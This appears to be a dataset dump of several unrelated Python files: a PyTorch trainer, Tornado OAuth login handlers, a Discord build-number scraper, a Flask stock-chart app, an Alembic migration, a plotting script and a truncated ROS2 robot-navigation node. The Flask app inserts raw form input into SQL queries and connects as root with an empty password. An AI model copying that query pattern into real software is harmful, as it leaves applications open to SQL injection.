torch.save(self.net.state_dict(), filename)\n self.logger.info('params saved to {}'.format(filename))\n\n def load_net(self, filename):\n self.logger.info('Loading params from {}'.format(filename))\n # self.net.load_state_dict(torch.load(filename), strict=False)\n self.net.load_state_dict(torch.load(filename))\n\n def compute_topK_acc(self, preds, labels, K=1):\n with torch.no_grad():\n # Compute top K predictions\n ord_ind = np.argsort(preds.data, axis=1, kind='mergesort')\n topK_ind = ord_ind[:, -K:]\n preds_topK = np.zeros_like(preds.data)\n for i in range(preds.data.shape[0]):\n preds_topK[i, topK_ind[i]] = 1\n\n # Compute top K accuracy\n total = labels.size(0)\n correct = np.sum(preds_topK[range(total), labels] > 0.0)\n return float(correct) / float(total), correct\n\n def compute_F1(self, preds, labels, log_flag, rule_hops):\n with torch.no_grad():\n # Compute top K predictions\n ord_ind = np.argsort(preds.cpu().numpy(), axis=1, kind='mergesort')\n # Compute non-zero element each answer(label) batch\n labels_topK = labels.cpu().numpy()\n zero_num = (labels_topK != 0).sum(axis=1)\n preds_topK = np.zeros_like(preds.cpu().numpy())\n for i in range(preds.data.shape[0]):\n idx = ord_ind[i, -zero_num[i]:]\n preds_topK[i, idx] = 1\n\n # if log_flag and rule_hops == -1:\n # self.logger.debug(\"MemN2N output:\")\n # tmp = np.flatnonzero(preds_topK[0])\n # res = [self.data_loader.dataset.idx_word[t] for t in tmp]\n # res = \" \".join(res).encode(\"gbk\")\n # self.logger.debug(res)\n\n labels_topK = np.flatnonzero(labels_topK)\n preds_topK = np.flatnonzero(preds_topK)\n\n TP = len(np.intersect1d(labels_topK, preds_topK))\n FN = len(np.setdiff1d(labels_topK, preds_topK))\n FP = len(np.setdiff1d(preds_topK, labels_topK))\n precision = float(TP) / float(TP + FP)\n recall = float(TP) / float(TP + FN)\n if TP == 0:\n F1 = 0.\n else:\n F1 = 2 * precision * recall / (precision + recall)\n if log_flag:\n prefix = \"\" if rule_hops == -1 else \"Rule hops \" + str(rule_hops) + \":\"\n self.logger.debug(prefix + \"TP={}, FN={}, FP={}, precision={}, recall={}, F1={}\"\n .format(TP, FN, FP, precision, recall, F1))\n return precision, recall, F1\n\n def print_record_dict(self, record_dict, usage, t_taken):\n self.logger.info('{}: Loss: {:.3f}, F1 score: {:.3f}%, Rule_F1_1_hop score: {:.3f}%,'\n ' Rule_F1_2_hops score: {:.3f}%, Top {} Accuracy: {:.3f}% took {:.3f}s'\n .format(usage, record_dict['loss'], record_dict['F1'], record_dict['Rule_F1_1_hop'],\n record_dict['Rule_F1_2_hops'], self.config['K'], record_dict['acc'], t_taken))\n\n def _plot_helper(self):\n plots = {\n 'loss': {\n 'plot_dict': {\n 'train': get_records('train.loss', self.global_records),\n 'valid': get_records('valid.loss', self.global_records)\n },\n 'coarse_range': [0, 200],\n 'fine_range': [0, 50]\n },\n 'acc': {\n 'plot_dict': {\n 'train': get_records('train.acc', self.global_records),\n 'valid': get_records('valid.acc', self.global_records)\n },\n 'coarse_range': [0, 100],\n 'fine_range': [60, 100]\n },\n 'F1': {\n 'plot_dict': {\n 'train': get_records('train.F1', self.global_records),\n 'valid': get_records('valid.F1', self.global_records),\n 'Rule_F1_1_hop_train': get_records('train.Rule_F1_1_hop', self.global_records),\n 'Rule_F1_1_hop_valid': get_records('valid.Rule_F1_1_hop', self.global_records),\n 'Rule_F1_2_hops_train': get_records('train.Rule_F1_2_hops', self.global_records),\n 'Rule_F1_2_hops_valid': get_records('valid.Rule_F1_2_hops', self.global_records)\n },\n 'coarse_range': [0, 100],\n 'fine_range': [60, 100]\n }\n }\n return plots\n\n def _decay_learning_rate(self, opt, epoch):\n decay_interval = self.config[\"init\"][\"decay_interval\"]\n decay_ratio = self.config[\"init\"][\"decay_ratio\"]\n\n decay_count = max(0, epoch // decay_interval)\n lr = self.config[\"init\"][\"params\"][\"lr\"] * (decay_ratio ** decay_count)\n for param_group in opt.param_groups:\n param_group[\"lr\"] = lr\n\n return lr\n\n\nModel = Trainer\n","sub_path":"result_hop=1_bs=8/modelfile.py","file_name":"modelfile.py","file_ext":"py","file_size_in_byte":16939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"571488142","text":"from page import *\nfrom tornado import web, auth\nimport cgi, hashlib, hmac, json, mongor, urllib\n\nimport settings\n\nFACEBOOK_FIELDS = ['id', 'name', 'link', 'gender', 'picture']\n\nclass TwitterHandler(SessionHandler, auth.TwitterMixin):\n\turl = 'twitter'\n\tdef _oauth_consumer_token(self):\n\t\treturn dict(\n\t\t\tkey = settings.twitter[0],\n\t\t\tsecret = settings.twitter[1])\n\n\t@web.asynchronous\n\tdef get(self):\n\t\turl = self.get_argument('url', None)\n\t\tif url: self.session['url'] = url\n\t\tif self.get_argument('oauth_token', None):\n\t\t\tself.get_authenticated_user(self.async_callback(self._twitter))\n\t\telse:\n\t\t\tself.authorize_redirect()\n\t\n\tdef _twitter(self, user):\n\t\tif not user:\n\t\t\traise web.HTTPError(500, 'Twitter auth failed')\n\t\tif '+user' in self.session:\n\t\t\tuser_obj = User.get(self.session['+user'])\n\t\t\tif 'twitter' not in user_obj.identities:\n\t\t\t\tuser_obj.identities['twitter'] = IdentityProvider(\n\t\t\t\t\t\tidentity = user['id_str'],\n\t\t\t\t\t\tpic = user['profile_image_url'],\n\t\t\t\t\t\tname = user['username'],\n\t\t\t\t\t\ttoken = user['access_token'],\n\t\t\t\t\t\tdata = user,\n\t\t\t\t\t)\n\t\t\t\tuser_obj.save()\n\t\telse:\n\t\t\tself.session['+user'] = User.lookup('twitter',\n\t\t\t\tIdentityProvider(\n\t\t\t\t\tidentity = user['id_str'],\n\t\t\t\t\tpic = user['profile_image_url'],\n\t\t\t\t\tname = user['username'],\n\t\t\t\t\ttoken = user['access_token'],\n\t\t\t\t\tdata = user,\n\t\t\t\t)\n\t\t\t)\n\t\tif 'url' in self.session:\n\t\t\turl = self.session['url']\n\t\t\tdel self.session['url']\n\t\t\tself.redirect(url)\n\t\telse: self.redirect('/')\n\nclass FacebookHandler(SessionHandler, web.RequestHandler):\n\turl = 'facebook'\n\t@web.asynchronous\n\tdef get(self):\n\t\turl = self.get_argument('url', None)\n\t\tif url: self.session['url'] = url\n\t\td = {'client_id':settings.facebook[0], 'redirect_uri': '%s://%s%s' %\n\t\t\t(self.request.protocol, self.request.host, self.request.path),\n\t\t\t'scope':'publish_stream'} #TODO: Break out permission settings\n\t\tif self.get_argument('code', None):\n\t\t\td['client_secret'] = settings.facebook[1]\n\t\t\td['code'] = self.get_argument('code')\n\t\t\thttpclient.AsyncHTTPClient().fetch(\n\t\t\t\t'https://graph.facebook.com/oauth/access_token?%s' %\n\t\t\t\turllib.urlencode(d), self.async_callback(self._process))\n\t\telse:\n\t\t\tself.redirect('https://graph.facebook.com/oauth/authorize?%s'\n\t\t\t\t% urllib.urlencode(d))\n\t\n\tdef _process(self, response, qs=True):\n\t\tif qs:\n\t\t\tself.token = cgi.parse_qs(response.body)['access_token'][-1]\n\t\t\td = {'access_token':self.token, 'fields':','.join(FACEBOOK_FIELDS)}\n\t\t\thttpclient.AsyncHTTPClient().fetch(\n\t\t\t\t'https://graph.facebook.com/me?%s' % urllib.urlencode(d), \n\t\t\t\tself.async_callback(self._process, qs=False))\n\t\telse:\n\t\t\tself._facebook_callback(response, self._facebook)\n\t\n\tdef signature(*args):\n\t\tret = hmac.new(settings.facebook[1], digestmod=hashlib.sha1)\n\t\tfor a in args: ret.update(a)\n\t\treturn ret.hexdigest()\n\t\n\tdef facebook_request(self, method, callback, body=None, *args, **kwargs):\n\t\tkw = {'callback':self.async_callback(\n\t\t\t\tself._facebook_callback, inner=callback)}\n\t\tif body:\n\t\t\tkw['body'] = urllib.urlencode(body)\n\t\t\tkw['method'] ='POST'\n\n\t\thttpclient.AsyncHTTPClient().fetch(\n\t\t\t'https://graph.facebook.com/%s?%s' % (method,\n\t\t\t\turllib.urlencode(kwargs)), **kw)\n\t\n\tdef _facebook_callback(self, response, inner=None):\n\t\tdata = json.loads(response.body)\n\t\tif inner: inner(data)\n\t\n\tdef _facebook(self, user):\n\t\tif not user:\n\t\t\traise web.HTTPError(500, 'Facebook auth failed')\n\t\tuser['access_token'] = self.token\n\t\tif '+user' in self.session:\n\t\t\tuser_obj = User.get(self.session['+user'])\n\t\t\tif 'facebook' not in user_obj.identities:\n\t\t\t\tuser_obj.identities['facebook'] = IdentityProvider(\n\t\t\t\t\t\tidentity = user['id'],\n\t\t\t\t\t\tpic = user['picture'],\n\t\t\t\t\t\tname = user['name'],\n\t\t\t\t\t\ttoken = self.token,\n\t\t\t\t\t\tdata = user,\n\t\t\t\t\t)\n\t\t\t\tuser_obj.save()\n\t\telse:\n\t\t\tself.session['+user'] = User.lookup('facebook',\n\t\t\t\tIdentityProvider(\n\t\t\t\t\tidentity = user['id'],\n\t\t\t\t\tpic = user['picture'],\n\t\t\t\t\tname = user['name'],\n\t\t\t\t\ttoken = self.token,\n\t\t\t\t\tdata = user,\n\t\t\t\t)\t\t\n\t\t\t)\n\t\tif 'url' in self.session:\n\t\t\turl = self.session['url']\n\t\t\tdel self.session['url']\n\t\t\tself.redirect(url)\n\t\telse: self.redirect('/')\n\nclass IdentityProvider(mongor.SubModel): \n\t\"\"\" \n\tA sub model containing the information specific to an identity provider\n\tsuch as Facebook or Twitter. This does not contain the information \n\tabout which provider the identity is associated with. That is found in\n\tthe User model.\n\t\"\"\"\n\tidentity = mongor.Field(unicode) # Provider assigned identity\n\tpic = mongor.Field(unicode) # User pic or avatar\n\tname = mongor.Field(unicode) # User name\n\ttoken = mongor.Field(object) # User oath token\n\tdata = mongor.Field(dict) # User data\n\nclass User(mongor.Model):\n\t\"\"\"\n\tA model that contains a dictionary of identities related to a provider\n\tand the identity of that provider.\n\t\"\"\"\n\tidentities = mongor.Field(dict)\n\n\t@staticmethod\n\tdef lookup(provider, identity):\n\t\t\"\"\" \n\t\tA method to get or create a user instance\n\t\t\n\t\tUser.lookup('provider',IdentityProvider) \n\t\t\"\"\"\n\t\tif not provider: return None\n\t\tuser = User.get({'identities.%s.identity' % provider: identity.identity})\n\t\tif user:\n\t\t\tif provider not in user.identities:\n\t\t\t\tuser.identities[provider] = identity\n\t\t\t\tuser.save()\n\t\t\treturn user\n\t\telse: \n\t\t\treturn User(identities = {provider:identity}).save()\n\n\t@property\n\tdef name(self):\n\t\tfor identity in self.identities:\n\t\t\tif 'name' in self.identities[identity]:\n\t\t\t\treturn self.identities[identity]['name']\n\t@property\n\tdef pic(self): \n\t\tfor identity in self.identities:\n\t\t\tif 'pic' in self.identities[identity]:\n\t\t\t\treturn self.identities[identity]['pic']\n\nclass UserHandler(TwitterHandler, FacebookHandler):\n\t@property\n\tdef user(self):\n\t\t\"\"\" Return the user object from the handler or the session \"\"\"\n\t\tif hasattr(self, '_user'): return self._user\n\t\tif '+user' in self.session: self._user = \\\n\t\t\tUser.get(self.session['+user'])\n\t\telse: self._user = None\n\t\treturn self._user\n\n","sub_path":"bongo/social.py","file_name":"social.py","file_ext":"py","file_size_in_byte":5987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"66444638","text":"import urllib.request\nfrom re import compile\nfrom json import loads\n\n\ndef build_dm():\n \"\"\"\n Workaround that uses latest commits from https://github.com/DJScias/Discord-Datamining with GitHub's API\n (https://api.github.com/repos/DJScias/Discord-Datamining/commits)\n Limitations: Exclusive to canary, gets latest data only\n :return:\n \"\"\"\n\n the_url = \"https://api.github.com/repos/DJScias/Discord-Datamining/commits\"\n\n headers = {\n \"User-Agent\": \"*\"\n }\n requ = (urllib.request.urlopen(urllib.request.Request(the_url, headers=headers)).read()).decode('utf-8')\n\n data = ''\n\n try:\n data = loads(requ)[0][\"commit\"][\"message\"]\n except():\n pass\n\n canary_reg = compile(\"[A-Za-z0-9]+ \\(Canary build: [0-9]+\\)\")\n canary_bn_reg = compile('Canary build: [0-9]+')\n canary_h_reg = compile(\"[A-Za-z0-9]+\")\n\n canary_data = str(canary_reg.findall(data))\n canary_bn = str(canary_bn_reg.findall(canary_data)[0]).split(\":\")[-1].replace(\" \", \"\")\n canary_h = str(canary_h_reg.findall(canary_data)[0])\n canary_id = canary_h[0:7:1]\n\n return canary_bn, canary_h, canary_id\n","sub_path":"Python/dm-git.py","file_name":"dm-git.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"284968299","text":"from flask import Flask, redirect, url_for, render_template, request\n\n\n# allows for json manipulation\nimport json\n\n\n# connection from Python to MySQL\nimport mysql.connector\n\n\n# arrays to store retrieved info from database\ndates = []\ncloses1 = []\ncloses2 = []\n\n\napp = Flask(__name__)\n\n# designated as default page by single slash\n\n\n@app.route(\"/\", methods=[\"POST\", \"GET\"])\ndef home():\n # form has action of post request\n if (request.method == \"POST\"):\n\n # inputs from form\n stock1 = request.form[\"s1\"]\n\n stock2 = request.form[\"s2\"]\n\n # connection created\n cnx = mysql.connector.connect(user='root', password='',\n host='127.0.0.1',\n database='test.db')\n\n # cursor acts as handle for MySQL commands\n cursor = cnx.cursor()\n\n # message is defined as the rows where stock1 is the ticker\n message = \"SELECT * FROM stocks2 WHERE ticker = '{s1}';\".format(\n s1=stock1)\n\n cursor.execute(message)\n\n # stores rows from SELECT line in results array\n results = cursor.fetchall()\n\n dates.clear()\n closes1.clear()\n closes2.clear()\n\n for result in results:\n\n # adds closing price and date for each day to arrays\n closes1.append(result[3])\n dates.append(result[2])\n\n message = \"SELECT * FROM stocks2 WHERE ticker = '{s2}';\".format(\n s2=stock2)\n cursor.execute(message)\n results = cursor.fetchall()\n for result in results:\n closes2.append(result[3])\n\n # returns template of original page with arrays as variables\n return(render_template(\"webpage.html\", dateList=dates, stockList1=closes1, stockList2=closes2))\n\n else:\n # GET request comes from initial startup\n return render_template(\"webpage.html\")\n\n\nif __name__ == \"__main__\":\n app.run()\n","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"190702241","text":"\"\"\"Add message chatwork id\n\nRevision ID: 3b6b108e5a33\nRevises: cbf3fc1cd908\nCreate Date: 2017-08-02 10:47:08.770274\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '3b6b108e5a33'\ndown_revision = 'cbf3fc1cd908'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('messages', sa.Column('message_chatwork_id', sa.BigInteger(), nullable=False))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('messages', 'message_chatwork_id')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/3b6b108e5a33_add_message_chatwork_id.py","file_name":"3b6b108e5a33_add_message_chatwork_id.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"315207977","text":"import numpy as np \nimport matplotlib.pyplot as plt \nimport json\nimport argparse\n\ndef read_json(path):\n with open(path, 'r') as f:\n trajectory = json.load(f)\n return trajectory\n\nparser = argparse.ArgumentParser(description=\"Visualization\")\nparser.add_argument('--path', type=str, default='',\n help='saving path of search trajectory')\nparser.add_argument('--step', type=int, default=1,\n help='step for sampling loop orders')\nparser.add_argument('--fix_tiling_factor', action='store_true', default=False,\n help='whether fix the pe array')\nparser.add_argument('--fix_loop_order', action='store_true', default=False,\n help='whether fix the loop order')\nparser.add_argument('--fix_tiling', action='store_true', default=False,\n help='whether fix the tiling factors')\nargs = parser.parse_args()\n\npath1 = 'trajectory/tiling1.json'\npath2 = 'trajectory/tiling2.json'\npath3 = 'trajectory/tiling3.json'\npath4 = 'trajectory/tiling4.json'\npath5 = 'trajectory/tiling5.json'\n# path6 = 'trajectory/tiling_factor6.json'\n# path7 = 'trajectory/tiling_factor7.json'\n# path8 = 'trajectory/tiling_factor8.json'\n# path9 = 'trajectory/tiling_factor9.json'\n# path10 = 'trajectory/tiling_factor10.json'\n\nt1 = read_json(path1)\nt2 = read_json(path2)\nt3 = read_json(path3)\nt4 = read_json(path4)\nt5 = read_json(path5)\n# t6 = read_json(path6)\n# t7 = read_json(path7)\n# t8 = read_json(path8)\n# t9 = read_json(path9)\n# t10 = read_json(path10)\n\nm1 = t1['metric'][::args.step]\nm2 = t2['metric'][::args.step]\nm3 = t3['metric'][::args.step]\nm4 = t4['metric'][::args.step]\nm5 = t5['metric'][::args.step]\n# m6 = t6['metric']\n# m7 = t7['metric']\n# m8 = t8['metric']\n# m9 = t9['metric']\n# m10 = t10['metric']\n\nx1 = list(range(len(m1)))\nx2 = list(range(len(m2)))\nx3 = list(range(len(m3)))\nx4 = list(range(len(m4)))\nx5 = list(range(len(m5)))\n# x6 = list(range(len(m6)))\n# x7 = list(range(len(m7)))\n# x8 = list(range(len(m8)))\n# x9 = list(range(len(m9)))\n# x10 = list(range(len(m10)))\n\n\nfont_big = 20\nfont_mid = 14\nfont_small = 12\n\n# fig, ax = plt.subplots(2, 3, figsize=(10,8))\n# plt.subplots_adjust(wspace=0.2, hspace=0.35)\n\nplt.figure(figsize=(60,10))\n\nplt.plot(x1, m1, '-')\nplt.plot(x2, m2, '-')\nplt.plot(x3, m3, '-')\nplt.plot(x4, m4, '-')\nplt.plot(x5, m5, '-')\n# plt.plot(x6, m6, '-')\n# plt.plot(x7, m7, '-')\n# plt.plot(x8, m8, '-')\n# plt.plot(x9, m9, '-')\n# plt.plot(x10, m10, '-')\n\n\nplt.title('EDP - Tiling Options', fontsize=font_big)\nplt.ylabel('EDP', fontsize=font_mid)\nplt.xlabel('Tiling Options', fontsize=font_mid)\n# plt.legend(['random_seed1','random_seed2','random_seed3','random_seed4','random_seed5',\n# 'random_seed6','random_seed7','random_seed8','random_seed9','random_seed10'], fontsize=font_mid)\nplt.grid()\n\n# ax[0,1].plot(cc_resnet38_static_cifar100, acc_resnet38_static_cifar100, '-^')\n# ax[0,1].plot(cc_resnet38_dp_cifar100, acc_resnet38_dp_cifar100, '-^')\n# ax[0,1].set_title('ResNet-38@CIFAR-100', fontsize=font_big)\n# ax[0,1].set_ylabel('Accuracy(%)', fontsize=font_mid)\n# ax[0,1].set_xlabel('MACs', fontsize=font_mid)\n# ax[0,1].legend(['static','dynamic'], fontsize=font_mid)\n# ax[0,1].grid()\n# ax[0,1].xaxis.set_tick_params(labelsize=font_small)\n# ax[0,1].yaxis.set_tick_params(labelsize=font_small)\n\n\nplt.savefig('tiling.png', bbox_inches='tight')\nplt.show()\n\n","sub_path":"hw_diff_final/visual_tiling.py","file_name":"visual_tiling.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"246092218","text":"# Copyright 2016 Open Source Robotics Foundation, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport rclpy\nfrom rclpy.node import Node\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import Twist\nfrom rclpy.qos import qos_profile_sensor_data\nfrom sensor_msgs.msg import LaserScan\nfrom nav_msgs.msg import OccupancyGrid\nimport tf2_ros\nfrom tf2_ros import LookupException, ConnectivityException, ExtrapolationException\nimport numpy as np\nimport math\nimport cmath\nimport time\nimport scipy.stats\nfrom queue import Queue\n\n# constants\nrotatechange = 0.03\nspeedchange = 0.07\nocc_bins = [-1, 0, 51, 100]\nstop_distance = 0.25\nfront_angle = 30\nfront_angles = range(-front_angle,front_angle+1,1)\nscanfile = 'lidar.txt'\nmapfile = 'map.txt'\nmapthreshold = 50\nunknown = 1\nunoccupied = 2\noccupied = 3\n\n# code from https://automaticaddison.com/how-to-convert-a-quaternion-into-euler-angles-in-python/\ndef euler_from_quaternion(x, y, z, w):\n \"\"\"\n Convert a quaternion into euler angles (roll, pitch, yaw)\n roll is rotation around x in radians (counterclockwise)\n pitch is rotation around y in radians (counterclockwise)\n yaw is rotation around z in radians (counterclockwise)\n \"\"\"\n t0 = +2.0 * (w * x + y * z)\n t1 = +1.0 - 2.0 * (x * x + y * y)\n roll_x = math.atan2(t0, t1)\n\n t2 = +2.0 * (w * y - z * x)\n t2 = +1.0 if t2 > +1.0 else t2\n t2 = -1.0 if t2 < -1.0 else t2\n pitch_y = math.asin(t2)\n\n t3 = +2.0 * (w * z + x * y)\n t4 = +1.0 - 2.0 * (y * y + z * z)\n yaw_z = math.atan2(t3, t4)\n\n return roll_x, pitch_y, yaw_z # in radians\n\n\n# a utility method to save value to filename\ndef save_to_file(filename, value):\n f = open(filename, 'w')\n f.write(repr(value))\n f.close()\n \n\ndef valid(node, matrix):\n return node[0] >= 0 and node[0] < len(matrix) and node[1] >= 0 and node[1] < len(matrix[0])\n\n\ndef bfs(matrix, start, end_cond, not_neighbour_cond):\n row = len(matrix)\n col = len(matrix[0])\n visited = np.zeros((row, col), dtype=int)\n #for i in range(row):\n # for j in range(col):\n # visited[i][j] = 0\n parent = np.empty((row, col, 2), dtype=int)\n for i in range(row):\n for j in range(col):\n for k in range(2):\n parent[i][j][k] = -1\n queue = Queue(row * col)\n end = None\n\n def valid(node):\n return node[0] >= 0 and node[0] < row and node[1] >= 0 and node[1] < col\n \n def getNeighbours(node):\n neighbours = []\n potential_neighbours = []\n\n top = (node[0]-1, node[1])\n left = (node[0], node[1]-1)\n right = (node[0], node[1]+1)\n bottom = (node[0]+1, node[1])\n top_left = (node[0]-1, node[1]-1)\n top_right = (node[0]-1, node[1]+1)\n bottom_left = (node[0]+1, node[1]-1)\n bottom_right = (node[0]+1, node[1]+1)\n\n potential_neighbours.append(top)\n potential_neighbours.append(left)\n potential_neighbours.append(right)\n potential_neighbours.append(bottom)\n potential_neighbours.append(top_left)\n potential_neighbours.append(top_right)\n potential_neighbours.append(bottom_left)\n potential_neighbours.append(bottom_right)\n \n for potential_neighbour in potential_neighbours:\n if valid(potential_neighbour) and matrix[potential_neighbour[0]][potential_neighbour[1]] != not_neighbour_cond and visited[potential_neighbour[0]][potential_neighbour[1]] == 0:\n neighbours.append(potential_neighbour)\n return neighbours\n\n\n def backtrack():\n path = []\n curr = [end[0], end[1]]\n while curr[0]!= -2 and curr[1] != -2:\n path.append(curr)\n par = [parent[curr[0]][curr[1]][0], parent[curr[0]][curr[1]][1]]\n curr = par\n return path[::-1]\n \n if start[0] < 0 or start[1] < 0 or start[0] >= row or start[1] >= col:\n return []\n\n visited[start[0]][start[1]] = 1\n parent[start[0]][start[1]] = [-2, -2]\n queue.put(start)\n\n while not queue.empty():\n curr = queue.get()\n \n if matrix[curr[0]][curr[1]] == end_cond:\n end = curr\n break\n\n neighbours = getNeighbours(curr)\n for i in range(len(neighbours)):\n visited[neighbours[i][0]][neighbours[i][1]] = 1\n parent[neighbours[i][0]][neighbours[i][1]] = curr\n queue.put(neighbours[i])\n\n if end != None:\n return backtrack()\n else:\n return []\n\n\ndef cal_angle(start, end, def_angle=0):\n delta_x = end[1] - start[1]\n delta_y = end[0] - start[0]\n #self.get_logger().info('delta_x: %i' % delta_x)\n #self.get_logger().info('delta_y: %i' % delta_y)\n #print('delta_x: ')\n #print(delta_x)\n #print('delta_y: ')\n #print(delta_y)\n\n if def_angle < 0:\n default_angle = 360 + def_angle\n else:\n default_angle = def_angle\n #self.get_logger().info('default_angle: %f' % default_angle)\n print('default_angle: ')\n print(default_angle)\n\n # first quadrant\n if delta_x > 0 and delta_y > 0:\n print('first quadrant')\n return math.degrees(abs(math.atan(delta_y / delta_x))) \n #return math.degrees(math.atan(delta_y / delta_x)) + default_angle\n # fourth quadrant\n elif delta_x > 0 and delta_y < 0:\n print('fourth quadrant')\n lambo = 360 - math.degrees(abs(math.atan(delta_y / delta_x))) \n #return 360 - math.degrees(math.atan(delta_y / delta_x)) + default_angle\n # thrid quadrant\n elif delta_x < 0 and delta_y < 0:\n print('third quadrant')\n lambo = 180 + math.degrees(abs(math.atan(delta_y / delta_x))) \n #return 180 + math.degrees(math.atan(delta_y / delta_x)) + default_angle \n # second quadrant\n elif delta_x < 0 and delta_y > 0:\n print('second quadrant')\n lambo = 180 - math.degrees(abs(math.atan(delta_y / delta_x))) \n #return 180 - math.degrees(math.atan(delta_y / delta_x)) + default_angle \n # up\n elif delta_x == 0 and delta_y > 0:\n print('up')\n lambo = 90 \n #return 90 + default_angle\n # down\n elif delta_x == 0 and delta_y < 0:\n print('down')\n lambo = 270 \n #return 270 + default_angle\n # right\n elif delta_x > 0 and delta_y == 0:\n print('right')\n lambo = 0 \n #return 0 + default_angle\n # left\n elif delta_x < 0 and delta_y == 0:\n print('left')\n lambo = 180 \n #return 180 + default_angle \n # do not change\n else:\n lambo = 0\n \n if lambo > default_angle:\n return lambo - default_angle\n if lambo < default_angle:\n return -1*(default_angle - lambo)\n else:\n return 0\n#def cal_angle(start, end, def_angle=0):\n# delta_x = end[1] - start[1]\n# delta_y = end[0] - start[0]\n\n# if def_angle < 0:\n# default_angle = 360 + def_angle\n# else:\n# default_angle = def_angle\n\n # first quadrant\n# if delta_x > 0 and delta_y > 0:\n# lambo = math.degrees(math.atan(delta_y / delta_x))\n # fourth quadrant\n# elif delta_x > 0 and delta_y < 0:\n# lambo = 360 - math.degrees(math.atan(delta_y / delta_x)) \n # thrid quadrant\n# elif delta_x < 0 and delta_y < 0:\n# lambo = 180 + math.degrees(math.atan(delta_y / delta_x)) \n # second quadrant\n# elif delta_x < 0 and delta_y > 0:\n# lambo = 180 - math.degrees(math.atan(delta_y / delta_x)) \n # up\n# elif delta_x == 0 and delta_y > 0:\n# lambo = 90 \n # down\n# elif delta_x == 0 and delta_y < 0:\n# lambo = 270 \n # right\n# elif delta_x > 0 and delta_y == 0:\n# lambo = 0 \n # left\n# elif delta_x < 0 and delta_y == 0:\n# lambo = 180 \n # do not change\n# else:\n# lambo = 0\n# print(lambo)\n# if lambo > default_angle:\n# return -lambo + default_angle\n# elif lambo < default_angle:\n# return default_angle - lambo\n# else:\n# return 0 \n\n\ndef shorter_path(path):\n if len(path) <= 2:\n return path\n shorter_path = [path[0]]\n angle = cal_angle(path[0], path[1])\n for i in range(1, len(path) - 1):\n if angle != cal_angle(path[i], path[i + 1]):\n shorter_path.append(path[i])\n angle = cal_angle(path[i], path[i + 1])\n shorter_path.append(path[-1])\n return shorter_path\n\n\nclass AutoNav(Node):\n\n def __init__(self):\n super().__init__('auto_nav')\n\n # create class variables\n self.cur_pos = [-1, -1, -1]\n self.grid_x = -1\n self.grid_y = -1\n self.map_res = 0\n \n # create publisher for moving TurtleBot\n self.publisher_ = self.create_publisher(Twist,'cmd_vel',10)\n # self.get_logger().info('Created publisher')\n \n # create subscription to track orientation\n self.odom_subscription = self.create_subscription(\n Odometry,\n 'odom',\n self.odom_callback,\n 10)\n # self.get_logger().info('Created subscriber')\n self.odom_subscription # prevent unused variable warning\n # initialize variables\n self.roll = 0\n self.pitch = 0\n self.yaw = 0\n \n # create subscription to track occupancy\n self.occ_subscription = self.create_subscription(\n OccupancyGrid,\n 'map',\n self.occ_callback,\n qos_profile_sensor_data)\n self.occ_subscription # prevent unused variable warning\n self.tfBuffer = tf2_ros.Buffer()\n self.tfListener = tf2_ros.TransformListener(self.tfBuffer, self)\n self.occdata = np.array([])\n self.encoded_msgdata = np.array([])\n \n # create subscription to track lidar\n self.scan_subscription = self.create_subscription(\n LaserScan,\n 'scan',\n self.scan_callback,\n qos_profile_sensor_data)\n self.scan_subscription # prevent unused variable warning\n self.laser_range = np.array([])\n\n\n def odom_callback(self, msg):\n # self.get_logger().info('In odom_callback')\n orientation_quat = msg.pose.pose.orientation\n self.roll, self.pitch, self.yaw = euler_from_quaternion(orientation_quat.x, orientation_quat.y, orientation_quat.z, orientation_quat.w)\n #self.get_logger().info('self_yaw: %i' % self.yaw)\n\n\n def occ_callback(self, msg):\n # log to console if occ_callback() is called\n #self.get_logger().info('In occ_callback')\n # save orginal msg.data to file\n save_to_file('raw_msgdata.txt', msg.data)\n # create numpy array from original msg.data\n msgdata = np.array(msg.data)\n # save numpy array msgdata to file\n save_to_file('numpy_msgdata.txt', msgdata)\n\n # compute histogram to identify percent of bins with -1\n # occ_counts = np.histogram(msgdata,occ_bins)\n # calculate total number of bins\n # total_bins = msg.info.width * msg.info.height\n # log the info\n # self.get_logger().info('Unmapped: %i Unoccupied: %i Occupied: %i Total: %i' % (occ_counts[0][0], occ_counts[0][1], occ_counts[0][2], total_bins))\n\n # convert -1 to 1, [0:50] to 2, [51:100] to 3\n #for i in range(len(msgdata)):\n # if msgdata[i] == -1:\n # msgdata[i] = unknown\n # elif msgdata[i] <= mapthreshold:\n # msgdata[i] = unoccupided\n # elif msgdata[i] > mapthreshold:\n # msgdata[i] = occupided\n occ_counts, edges, msgdata = scipy.stats.binned_statistic(msgdata, np.nan, statistic='count', bins=occ_bins)\n # save modified numpy array msgdata to file\n save_to_file('encoded_msgdata.txt', msgdata)\n # reshape 1d msgdata to 2d\n self.occdata = np.int8(msgdata.reshape(msg.info.height,msg.info.width))\n self.encoded_msgdata = np.int8(msgdata.reshape(msg.info.height,msg.info.width))\n # check whether map fully mapped\n #self.get_logger().info('fully mapped: %s' % 